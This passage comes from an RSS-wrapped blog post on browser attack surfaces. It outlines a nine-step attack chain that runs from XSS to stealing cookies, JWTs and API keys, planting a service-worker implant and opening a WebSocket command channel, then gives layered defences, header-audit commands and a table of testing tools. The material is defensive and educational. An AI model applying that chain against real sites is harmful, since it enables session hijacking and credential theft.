&lt;strong&gt;Chrome&lt;/strong&gt;: Privacy Sandbox aims to reduce covert tracking channels&lt;/li&gt;
&lt;li&gt;Permissions Policy can restrict some high-precision APIs&lt;/li&gt;
&lt;li&gt;Users can use browser isolation (separate profiles or Tor Browser) for sensitive sessions&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  The Unified Attack Chain
&lt;/h2&gt;

&lt;p&gt;Here's how a sophisticated attacker chains these surfaces in a real attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. URL → inject payload via query parameter
2. DOM → XSS in innerHTML sink
3. JavaScript → payload executes
4. Cookies → steal non-HttpOnly session token
5. LocalStorage → dump JWT and API keys
6. postMessage → sniff cross-frame communication
7. Service Worker → register persistent implant
8. WebSocket → open C2 channel that survives page close
9. Browser APIs → fingerprint user for re-identification after cookie clear
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each step uses a different surface. Defense on one layer doesn't protect the next.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Defender's Mindset: Assume Breach, Layer Defense
&lt;/h2&gt;

&lt;p&gt;Every single surface listed in this post has one thing in common: &lt;strong&gt;they're all accessible from JavaScript running on your origin&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That's the threat model. Not an external attacker breaking through HTTPS. An attacker who is &lt;em&gt;already running code on your page&lt;/em&gt; — via XSS, a compromised dependency, a malicious ad, or a poisoned CDN.&lt;/p&gt;

&lt;p&gt;Your defense framework, in priority order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Prevent XSS            → CSP + DOMPurify + Trusted Types
2. Minimize persistence   → HttpOnly + Secure + SameSite cookies; no secrets in localStorage
3. Isolate origins        → CORS + CORP + COOP + COEP
4. Limit API access       → Permissions Policy
5. Detect exfiltration    → CSP report-uri + monitoring
6. Audit dependencies     → SRI + npm audit + lock files
7. Harden extensions      → Allowlist via policy; isolate sensitive browsing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Testing This Yourself
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Quick header audit&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://your-site.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Content-Security|COOP|COEP|CORP|Permissions"&lt;/span&gt;

&lt;span class="c"&gt;# DOM XSS scanning&lt;/span&gt;
npx retire &lt;span class="nt"&gt;--js&lt;/span&gt;  &lt;span class="c"&gt;# Check for vulnerable JS libraries&lt;/span&gt;

&lt;span class="c"&gt;# Cookie audit (Chrome DevTools)&lt;/span&gt;
&lt;span class="c"&gt;# Application → Cookies → check HttpOnly, Secure, SameSite columns&lt;/span&gt;

&lt;span class="c"&gt;# postMessage monitoring&lt;/span&gt;
&lt;span class="c"&gt;# DevTools Console:&lt;/span&gt;
window.addEventListener&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt;, console.log&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c"&gt;# Service Worker audit&lt;/span&gt;
&lt;span class="c"&gt;# Application → Service Workers → check registered workers&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Tools of the Trade
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://portswigger.net/burp" rel="noopener noreferrer"&gt;Burp Suite&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Full client-side interception &amp;amp; testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;XSS sanitization library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://csp-evaluator.withgoogle.com" rel="noopener noreferrer"&gt;CSP Evaluator&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;CSP weakness analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://retirejs.github.io/retire.js/" rel="noopener noreferrer"&gt;retire.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Vulnerable JS library detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://browseraudit.com" rel="noopener noreferrer"&gt;Browser Audit&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Browser security configuration checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.zaproxy.org" rel="noopener noreferrer"&gt;OWASP ZAP&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Open-source web app scanner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://z0ccc.github.io/extension-fingerprints/" rel="noopener noreferrer"&gt;Extension Fingerprints&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Detect installed extensions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;The browser was built for trust. It executes code from strangers. It stores your passwords. It knows where you are. It sees your screen and hears your voice. It maintains connections to servers you've never visited directly.&lt;/p&gt;

&lt;p&gt;That's not a design flaw — that's what makes the web powerful. But it means that &lt;strong&gt;every feature is dual-use&lt;/strong&gt;. The same API that lets your video conferencing app access your camera can be turned against you by an XSS payload running on that same page.&lt;/p&gt;

&lt;p&gt;The only way to defend it is to understand it the way an attacker does — exhaustively, adversarially, and without comfortable assumptions.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>browser</category>
      <category>devtools</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
